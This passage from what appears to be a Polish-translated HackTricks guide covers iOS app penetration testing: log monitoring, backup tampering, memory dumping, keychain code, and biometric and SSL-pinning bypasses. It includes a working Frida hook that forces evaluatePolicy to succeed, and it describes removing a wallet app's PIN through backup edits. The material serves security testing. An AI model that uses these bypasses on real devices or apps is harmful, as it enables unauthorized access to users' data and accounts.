Podczas przeglądania kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, szukaj zarówno predefiniowanych, jak i niestandardowych instrukcji logowania za pomocą słów kluczowych takich jak NSLog, NSAssert, NSCAssert, fprintf dla wbudowanych funkcji oraz wszelkich wzmianek o Logging lub Logfile dla niestandardowych implementacji.

Monitorowanie dzienników systemowych

Aplikacje rejestrują różne informacje, które mogą być poufne. Aby monitorować te dzienniki, narzędzia i polecenia takie jak:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

Są przydatne. Dodatkowo Xcode zapewnia sposób na zbieranie logów konsoli:

  1. Otwórz Xcode.

  2. Podłącz urządzenie iOS.

  3. Przejdź do Okno -> Urządzenia i Symulatory.

  4. Wybierz swoje urządzenie.

  5. Wywołaj problem, który badasz.

  6. Użyj przycisku Otwórz Konsolę, aby zobaczyć logi w nowym oknie.

Dla bardziej zaawansowanego logowania, podłączenie do powłoki urządzenia i użycie socat może zapewnić monitorowanie logów w czasie rzeczywistym:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Obserwowanie działań rejestrowanych w dziennikach może być nieocenione przy diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w logach.


Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj Dostęp Dziś:

Kopie zapasowe

Funkcje automatycznych kopii zapasowych są zintegrowane w system iOS, ułatwiając tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Finder (od macOS Catalina) lub iCloud. Kopie te obejmują niemal wszystkie dane urządzenia, z wyjątkiem bardzo wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID.

Ryzyka związane z bezpieczeństwem

Uwzględnienie zainstalowanych aplikacji i ich danych w kopii zapasowej stwarza ryzyko potencjalnego wycieku danych oraz możliwość, że modyfikacje kopii zapasowej mogą zmienić funkcjonalność aplikacji. Zaleca się nie przechowywać wrażliwych informacji w postaci tekstowej w katalogu żadnej aplikacji ani jej podkatalogach, aby zminimalizować te ryzyka.

Wykluczanie plików z kopii zapasowych

Pliki w Documents/ i Library/Application Support/ są domyślnie kopiowane. Deweloperzy mogą wykluczyć określone pliki lub katalogi z kopii zapasowych, używając NSURL setResourceValue:forKey:error: z NSURLIsExcludedFromBackupKey. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem ich w kopii zapasowej.

Testowanie pod kątem podatności

Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od utworzenia kopii zapasowej za pomocą Finder, a następnie zlokalizuj ją, korzystając z instrukcji z oficjalnej dokumentacji Apple. Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą zostać zmienione, aby wpłynąć na zachowanie aplikacji.

Informacje wrażliwe można wyszukać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak iMazing. Dla zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w głównym katalogu kopii zapasowej.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

Do radzenia sobie z zaszyfrowanymi kopiami zapasowymi, skrypty Python dostępne w repozytorium GitHub DinoSec, takie jak backup_tool.py i backup_passwd.py, mogą być przydatne, chociaż mogą wymagać dostosowania do najnowszych wersji iTunes/Finder. Narzędzie iOSbackup to kolejna opcja pozwalająca uzyskać dostęp do plików w zabezpieczonych hasłem kopii zapasowych.

Modyfikowanie zachowania aplikacji

Przykładem zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest aplikacja portfela bitcoin Bither (https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w net.bither.plist pod kluczem pin_code. Usunięcie tego klucza z pliku plist i przywrócenie kopii zapasowej usuwa wymaganie PIN, zapewniając niograniczony dostęp.

Podsumowanie testowania pamięci wrażliwych danych

Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwie podstawowe metody badania zawartości pamięci: tworzenie zrzutu pamięci i analiza pamięci w czasie rzeczywistym. Obie metody mają swoje wyzwania, w tym potencjalną możliwość pominięcia istotnych danych podczas procesu zrzutu lub analizy.

Pobieranie i Analiza Zrzutu Pamięci

Zarówno dla urządzeń z jailbreakiem, jak i bez jailbreaka, narzędzia takie jak objection i Fridump pozwalają na zrzucanie pamięci procesu aplikacji. Po zrzuceniu, analiza tych danych wymaga różnych narzędzi, w zależności od charakteru poszukiwanych informacji.

Aby wydobyć ciągi znaków z zrzutu pamięci, można użyć poleceń takich jak strings lub rabin2 -zz:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Dla bardziej szczegółowej analizy, w tym wyszukiwania konkretnych typów danych lub wzorców, radare2 oferuje rozległe możliwości wyszukiwania:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Analiza pamięci w czasie rzeczywistym

r2frida zapewnia potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez konieczności tworzenia zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Uszkodzona kryptografia

Słabe procesy zarządzania kluczami

Niektórzy programiści zapisują wrażliwe dane w lokalnym magazynie i szyfrują je kluczem zapisanym/wykonalnym w kodzie. Nie powinno się tego robić, ponieważ odwrócenie procesu może umożliwić atakującym wydobycie poufnych informacji.

Użycie niebezpiecznych i/lub przestarzałych algorytmów

Programiści nie powinni używać przestarzałych algorytmów do przeprowadzania sprawdzeń autoryzacyjnych, przechowywania lub wysyłania danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli hashe są używane do przechowywania haseł na przykład, należy używać hashy odporne na ataki brute-force z solą.

Sprawdzenie

Główne sprawdzenia do przeprowadzenia to znalezienie zapisanych na stałe haseł/tajemnic w kodzie, lub czy są one przewidywalne, oraz czy kod używa jakiegoś rodzaju słabych algorytmów kryptograficznych.

Warto wiedzieć, że można monitorować niektóre biblioteki kryptograficzne automatycznie używając objection z:

ios monitor crypt

Dla więcej informacji na temat interfejsów API i bibliotek kryptograficznych iOS odwiedź https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Lokalna autoryzacja

Lokalna autoryzacja odgrywa kluczową rolę, zwłaszcza jeśli chodzi o zabezpieczenie dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą tutaj jest to, że bez właściwej implementacji mechanizmy lokalnej autoryzacji mogą zostać obejścia.

Framework autoryzacji lokalnej firmy Apple oraz keychain zapewniają deweloperom solidne interfejsy API do ułatwiania dialogów autoryzacyjnych dla użytkowników oraz bezpiecznego zarządzania tajnymi danymi. Enklawa bezpieczeństwa zabezpiecza identyfikator odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez naruszania danych biometrycznych.

Aby zintegrować Touch ID/Face ID, deweloperzy mają do wyboru dwie opcje interfejsu API:

  • LocalAuthentication.framework dla autoryzacji użytkownika na wysokim poziomie bez dostępu do danych biometrycznych.

  • Security.framework dla dostępu do usług klucza keychain na niższym poziomie, zabezpieczając tajne dane za pomocą autoryzacji biometrycznej. Różne opakowania open-source ułatwiają dostęp do keychain.

Jednak zarówno LocalAuthentication.framework, jak i Security.framework posiadają podatności, ponieważ głównie zwracają wartości logiczne bez przesyłania danych do procesów autoryzacyjnych, co czyni je podatnymi na obejścia (patrz Don't touch me that way, autorstwa Davida Lindnera i in.).

Implementacja lokalnej autoryzacji

Aby poprosić użytkowników o autoryzację, deweloperzy powinni wykorzystać metodę evaluatePolicy w klasie LAContext, wybierając spośród:

  • deviceOwnerAuthentication: Prosi o Touch ID lub kod dostępu do urządzenia, nie powiedzie się, jeśli żaden z nich nie jest włączony.

  • deviceOwnerAuthenticationWithBiometrics: Wyłącznie prosi o Touch ID.

Pomyślna autoryzacja jest sygnalizowana przez wartość logiczną zwróconą z evaluatePolicy, co ujawnia potencjalną lukę w zabezpieczeniach.

Lokalna autoryzacja za pomocą Keychain

Implementacja lokalnej autoryzacji w aplikacjach iOS polega na wykorzystaniu interfejsów API keychain do bezpiecznego przechowywania tajnych danych, takich jak tokeny autoryzacyjne. Ten proces zapewnia, że dane mogą być dostępne tylko przez użytkownika, korzystając z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID.

Keychain oferuje możliwość ustawienia elementów z atrybutem SecAccessControl, który ogranicza dostęp do elementu do momentu pomyślnej autoryzacji przez użytkownika za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.

Poniżej znajdują się przykłady kodu w języku Swift i Objective-C, które pokazują, jak zapisać i odzyskać ciąg znaków z/do keychain, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują specyficznie, jak skonfigurować kontrolę dostępu, aby wymagała autoryzacji Touch ID i zapewnić, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że kod dostępu do urządzenia jest skonfigurowany.

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

Metody Ochrony Przed Analizą Statyczną

  1. Zmienne Prywatne: Używaj zmiennych prywatnych, aby ukryć wrażliwe dane przed analizą statyczną.

  2. Kodowanie: Koduj wrażliwe dane, aby utrudnić analizę statyczną.

  3. Dynamiczne Ładowanie: Unikaj dynamicznego ładowania kodu, aby utrudnić analizę statyczną.

  4. Wykrywanie Debugowania: Wykrywaj środowiska debugowania i zmieniaj zachowanie aplikacji w celu utrudnienia analizy statycznej.

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

Teraz możemy poprosić o zapisany element z Keychain. Usługi Keychain przedstawią okno dialogowe uwierzytelniania użytkownikowi i zwrócą dane lub nil, w zależności od tego, czy został podany odpowiedni odcisk palca czy nie.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

Cel-C

W tej sekcji omówimy techniki testowania penetracyjnego dla aplikacji iOS napisanych w języku Objective-C.

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

Wykrywanie

Wykorzystanie frameworków w aplikacji można również wykryć, analizując listę współdzielonych dynamicznych bibliotek aplikacji binarnej. Można to zrobić, korzystając z otool:

$ otool -L <AppName>.app/<AppName>

Jeśli w aplikacji jest używany LocalAuthentication.framework, wynik będzie zawierał obie z poniższych linii (pamiętaj, że LocalAuthentication.framework korzysta z Security.framework pod spodem):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Jeśli jest używany Security.framework, zostanie pokazany tylko drugi.

Ominięcie ramki lokalnej autoryzacji

Zarzut

Poprzez Ominięcie Biometryczne Objection, dostępne na tej stronie GitHub, dostępna jest technika ominięcia mechanizmu LocalAuthentication. Istota tego podejścia polega na wykorzystaniu Frida do manipulowania funkcją evaluatePolicy, zapewniając, że zawsze zwraca ona wynik True, niezależnie od faktycznego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do obejścia wadliwych procesów uwierzytelniania biometrycznego.

Aby aktywować to ominięcie, używane jest następujące polecenie:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

To polecenie uruchamia sekwencję, w której Objection rejestruje zadanie, które efektywnie zmienia wynik sprawdzenia evaluatePolicy na True.

Frida

Przykład użycia evaluatePolicy z aplikacji DVIA-v2:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Aby osiągnąć ominięcie Lokalnej Autentykacji, napisany jest skrypt Fridy. Ten skrypt jest skierowany na sprawdzenie evaluatePolicy, przechwytując jego wywołanie zwrotne, aby upewnić się, że zwraca success=1. Poprzez zmianę zachowania wywołania zwrotnego, sprawdzenie autoryzacji jest efektywnie omijane.

Poniższy skrypt jest wstrzykiwany, aby zmodyfikować wynik metody evaluatePolicy. Zmienia on wynik wywołania zwrotnego, aby zawsze wskazywał sukces.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Aby wstrzyknąć skrypt Frida i ominąć uwierzytelnianie biometryczne, używane jest polecenie:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Ujawnienie Wrażliwej Funkcjonalności Poprzez IPC

Własne Obsługi URI / Deep Linki / Własne Schematy

pageiOS Custom URI Handlers / Deeplinks / Custom Schemes

Uniwersalne Linki

pageiOS Universal Links

Udostępnianie UIActivity

pageiOS UIActivity Sharing

UIPasteboard

pageiOS UIPasteboard

Rozszerzenia Aplikacji

pageiOS App Extensions

WebViews

pageiOS WebViews

Serializacja i Kodowanie

pageiOS Serialisation and Encoding

Komunikacja Sieciowa

Ważne jest sprawdzenie, czy nie występuje komunikacja bez szyfrowania oraz czy aplikacja poprawnie weryfikuje certyfikat TLS serwera. Aby sprawdzić tego rodzaju problemy, można użyć proxy takie jak Burp:

pageiOS Burp Suite Configuration

Sprawdzanie Nazwy Hosta

Jednym z powszechnych problemów podczas weryfikacji certyfikatu TLS jest sprawdzenie, czy certyfikat został podpisany przez zaufaną instytucję certyfikującą, ale nie sprawdzenie, czy nazwa hosta certyfikatu jest nazwą hosta, do którego się odwołujemy. Aby sprawdzić ten problem za pomocą Burp, po zaufaniu certyfikatowi Burp w iPhone'ie, można utworzyć nowy certyfikat z Burp dla innej nazwy hosta i go użyć. Jeśli aplikacja nadal działa, oznacza to, że jest podatna.

Pinowanie Certyfikatu

Jeśli aplikacja poprawnie używa Pinowania SSL, to aplikacja będzie działać tylko, jeśli certyfikat będzie oczekiwanym. Podczas testowania aplikacji może to być problemem, ponieważ Burp będzie serwował swój własny certyfikat. Aby ominąć tę ochronę w urządzeniu z jailbreakiem, można zainstalować aplikację SSL Kill Switch lub zainstalować Burp Mobile Assistant

Można również użyć ios sslpinning disable z objection's.

Różne

  • W /System/Library znajdziesz frameworki zainstalowane w telefonie używane przez aplikacje systemowe

  • Aplikacje zainstalowane przez użytkownika ze Sklepu App Store znajdują się w /User/Applications

  • Natomiast /User/Library zawiera dane zapisane przez aplikacje na poziomie użytkownika

  • Możesz uzyskać dostęp do /User/Library/Notes/notes.sqlite aby odczytać zapisane notatki wewnątrz aplikacji.

  • Wewnątrz folderu z zainstalowaną aplikacją (/User/Applications/<ID APLIKACJI>/) znajdziesz kilka interesujących plików:

    • iTunesArtwork: Ikona używana przez aplikację

    • iTunesMetadata.plist: Informacje o aplikacji używane w Sklepie App Store

    • /Library/*: Zawiera preferencje i pamięć podręczną. W /Library/Cache/Snapshots/* znajdziesz zrzut wykonany z aplikacji przed wysłaniem jej do tła.

Gorące Poprawki/Aktualizacje Wymuszone

Deweloperzy mogą zdalnie poprawić wszystkie instalacje swojej aplikacji natychmiast bez konieczności ponownego przesłania aplikacji do Sklepu App Store i oczekiwania na zatwierdzenie. W tym celu zazwyczaj używa się JSPatch. Istnieją również inne opcje takie jak Siren i react-native-appstore-version-checker. To jest mechanizm ryzykowny, który może być nadużyty przez złośliwe zewnętrzne SDK, dlatego zaleca się sprawdzenie, jakie metody są używane do automatycznej aktualizacji (jeśli takie istnieją) i ich przetestowanie. Możesz spróbować pobrać poprzednią wersję aplikacji w tym celu.

Zewnętrzne Usługi

Znaczącym wyzwaniem związanym z SDK firm trzecich jest brak precyzyjnej kontroli nad ich funkcjonalnościami. Deweloperzy stoją przed wyborem: zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne podatności na ryzyko bezpieczeństwa i obawy o prywatność, lub całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie łatać podatności w tych SDK samodzielnie. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre z nich mogą zacząć zawierać złośliwe oprogramowanie.

Usługi świadczone przez SDK firm trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub usprawnienia w doświadczeniu użytkownika. Jednakże wiąże się to z ryzykiem, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Istotne jest ograniczenie udostępnianych zewnętrznym usługom informacji do niezbędnych oraz zapewnienie, że żadne wrażliwe dane nie są ujawniane.

Implementacja usług firm trzecich zazwyczaj przyjmuje dwie formy: samodzielnej biblioteki lub pełnego SDK. Aby chronić prywatność użytkownika, wszelkie dane udostępniane tym usługom powinny być anonimizowane, aby zapobiec ujawnieniu Osobistych Informacji Identyfikujących (PII).

Aby zidentyfikować biblioteki używane przez aplikację, można skorzystać z polecenia otool. Narzędzie to powinno być uruchomione przeciwko aplikacji i każdej używanej bibliotece, aby odkryć dodatkowe biblioteki.

otool -L <application_path>

Odnośniki i Więcej Zasobów

Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności. Otrzymaj Dostęp Dziś:

Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated